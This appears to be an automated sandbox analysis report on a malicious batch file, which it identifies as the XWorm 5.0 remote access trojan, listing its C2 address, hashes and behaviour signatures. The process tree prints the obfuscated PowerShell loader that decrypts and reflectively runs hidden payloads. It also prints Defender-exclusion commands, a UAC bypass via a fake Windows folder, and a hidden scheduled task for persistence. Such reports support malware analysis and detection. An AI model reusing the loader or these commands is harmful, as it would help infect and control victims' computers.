Analysis

  • max time kernel
    1800s
  • max time network
    1798s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26-05-2024 14:58

General

  • Target

    FN-INTERNAL.bat

  • Size

    376KB

  • MD5

    121a69448e9f5eef0ba4c1229b471208

  • SHA1

    90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

  • SHA256

    b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

  • SHA512

    c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

  • SSDEEP

    6144:C+g8ai0m+BiS0FY9tRpUOAIeJxsOjzW1JlW5nHa5EV8hpzjHRQbh9xph9aK7PGaj:C+gdOSOYbRHjeJxbOJlW5niJSdT9amGk

Malware Config

Extracted

Family

xworm

Version

5.0

C2

software-led.gl.at.ply.gg:38954

Mutex

m6tgeOEIIMDuaFcQ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 7 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 50 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    PID:820
    • C:\Windows\system32\DllHost.exe
      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
      2⤵
        PID:440
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        2⤵
          PID:2340
        • C:\Windows\system32\DllHost.exe
          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
          2⤵
            PID:1920
          • C:\Windows\system32\backgroundTaskHost.exe
            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca
            2⤵
              PID:772
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.Accounts.AppXqe94epy97qwa6w3j6w132e8zvcs117nd.mca
              2⤵
                PID:3084
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 3084 -s 944
                  3⤵
                    PID:3140
                • C:\Windows\system32\backgroundTaskHost.exe
                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                  2⤵
                    PID:4772
                  • C:\Windows\system32\backgroundTaskHost.exe
                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca
                    2⤵
                      PID:3584
                    • C:\Windows\system32\backgroundTaskHost.exe
                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXxw3e32mpkfkfbh0tznpwwqfw96t0tfx6.mca
                      2⤵
                        PID:3104
                      • C:\Windows\System32\RuntimeBroker.exe
                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                        2⤵
                          PID:1544
                        • C:\Windows\system32\backgroundTaskHost.exe
                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                          2⤵
                            PID:2440
                          • C:\Windows\system32\backgroundTaskHost.exe
                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                            2⤵
                              PID:1704
                            • C:\Windows\system32\BackgroundTransferHost.exe
                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                              2⤵
                                PID:4700
                              • C:\Windows\system32\BackgroundTransferHost.exe
                                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                2⤵
                                  PID:2496
                                • C:\Windows\system32\backgroundTaskHost.exe
                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                  2⤵
                                    PID:3640
                                  • C:\Windows\system32\BackgroundTransferHost.exe
                                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                    2⤵
                                      PID:3832
                                    • C:\Windows\system32\BackgroundTransferHost.exe
                                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                      2⤵
                                        PID:1264
                                      • C:\Windows\system32\backgroundTaskHost.exe
                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                        2⤵
                                          PID:3724
                                        • C:\Windows\system32\backgroundTaskHost.exe
                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                          2⤵
                                            PID:2516
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k RPCSS -p
                                          1⤵
                                            PID:924
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                            1⤵
                                              PID:1000
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                              1⤵
                                                PID:544
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                                                1⤵
                                                  PID:1044
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                  1⤵
                                                    PID:1088
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                                    1⤵
                                                      PID:1128
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                      1⤵
                                                        PID:1148
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                        1⤵
                                                          PID:1180
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                                          1⤵
                                                            PID:1208
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                                                            1⤵
                                                              PID:1224
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                              1⤵
                                                                PID:1292
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                                1⤵
                                                                  PID:1432
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:1496
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                  1⤵
                                                                    PID:1520
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                                    1⤵
                                                                      PID:1600
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                      1⤵
                                                                        PID:1608
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                        1⤵
                                                                          PID:1684
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                          1⤵
                                                                            PID:1736
                                                                          • C:\Windows\System32\svchost.exe
                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                            1⤵
                                                                              PID:1784
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                              1⤵
                                                                                PID:1856
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                                1⤵
                                                                                  PID:1868
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                  1⤵
                                                                                    PID:1928
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                    1⤵
                                                                                      PID:1932
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                      1⤵
                                                                                        PID:1316
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                        1⤵
                                                                                          PID:1832
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                                          1⤵
                                                                                            PID:2220
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                            1⤵
                                                                                              PID:2264
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                              1⤵
                                                                                                PID:2384
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                                1⤵
                                                                                                  PID:2480
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                  1⤵
                                                                                                    PID:2488
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                                                    1⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:2532
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                                    1⤵
                                                                                                      PID:2580
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                      1⤵
                                                                                                        PID:2664
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                        1⤵
                                                                                                          PID:2672
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                                          1⤵
                                                                                                            PID:2688
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                            1⤵
                                                                                                              PID:3060
                                                                                                            • C:\Windows\Explorer.EXE
                                                                                                              C:\Windows\Explorer.EXE
                                                                                                              1⤵
                                                                                                              • Modifies Internet Explorer settings
                                                                                                              • Modifies registry class
                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:3308
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
                                                                                                                2⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:5048
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  cmd /c "set __=^&rem"
                                                                                                                  3⤵
                                                                                                                    PID:3020
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                    3⤵
                                                                                                                      PID:2196
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                      3⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:4568
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                        4⤵
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:3844
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                        4⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1508
                                                                                                                        • C:\Windows \System32\ComputerDefaults.exe
                                                                                                                          "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:2964
                                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                            cmd.exe /c call SC.cmd
                                                                                                                            6⤵
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:3580
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              cmd /c "set __=^&rem"
                                                                                                                              7⤵
                                                                                                                                PID:4644
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                                7⤵
                                                                                                                                  PID:244
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                                  7⤵
                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:1588
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                                    8⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:4736
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
                                                                                                                                    8⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:3124
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
                                                                                                                                    8⤵
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:3264
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                                    8⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:2068
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
                                                                                                                            4⤵
                                                                                                                              PID:4644
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
                                                                                                                              4⤵
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:2400
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                              4⤵
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:4756
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                        1⤵
                                                                                                                          PID:3440
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                          1⤵
                                                                                                                            PID:3456
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                                            1⤵
                                                                                                                              PID:3984
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                                              1⤵
                                                                                                                                PID:4420
                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                1⤵
                                                                                                                                  PID:3872
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                  1⤵
                                                                                                                                    PID:1444
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                                    1⤵
                                                                                                                                      PID:2556
                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                      1⤵
                                                                                                                                        PID:3864
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                        1⤵
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:3696
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                        1⤵
                                                                                                                                          PID:2288
                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                          C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                          1⤵
                                                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                          PID:3452
                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                            C:\Windows\system32\WerFault.exe -pss -s 408 -p 3084 -ip 3084
                                                                                                                                            2⤵
                                                                                                                                              PID:3488
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                            1⤵
                                                                                                                                              PID:1012

                                                                                                                                            Network

                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads

                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                                                                                                              Filesize

                                                                                                                                              404B

                                                                                                                                              MD5

                                                                                                                                              46efc7f5f62e312bdd41ab5626d421f8

                                                                                                                                              SHA1

                                                                                                                                              8dc17b8166b933f9b6bbb76e1212925709d049c6

                                                                                                                                              SHA256

                                                                                                                                              2ccac1bac5815fbdf3c77d0a8d5253244a6f51a8274325bed66505a1ec967db2

                                                                                                                                              SHA512

                                                                                                                                              d12aef18beb0e0b0fd84958a24443eec07b3b461ece975b4df7d9801a4606bb399335b9fb427d98370f9c32182d8c983427c5cba2ba6a96f1dd310ec7ab22b18

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              627073ee3ca9676911bee35548eff2b8

                                                                                                                                              SHA1

                                                                                                                                              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                                              SHA256

                                                                                                                                              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                                              SHA512

                                                                                                                                              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

                                                                                                                                              Filesize

                                                                                                                                              14KB

                                                                                                                                              MD5

                                                                                                                                              fff09bd674352adc9238d29ff89e83d8

                                                                                                                                              SHA1

                                                                                                                                              b7f94439cffe9f452a4259421d33914b142ec65a

                                                                                                                                              SHA256

                                                                                                                                              d68a87333582f1d686233f36a777e0643edc0fd1b3ed0f412fcbeb942b7c4441

                                                                                                                                              SHA512

                                                                                                                                              6b101c2ffdf5b7f3a5677952a2bc93645bd03ff78c695810be52cdd39b0c85df6403e1c3de34552d3581991e35ba1688d6df52f3c3c6d4acf3fd4737802b8890

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                              Filesize

                                                                                                                                              62KB

                                                                                                                                              MD5

                                                                                                                                              e566632d8956997225be604d026c9b39

                                                                                                                                              SHA1

                                                                                                                                              94a9aade75fffc63ed71404b630eca41d3ce130e

                                                                                                                                              SHA256

                                                                                                                                              b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

                                                                                                                                              SHA512

                                                                                                                                              f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              1KB

                                                                                                                                              MD5

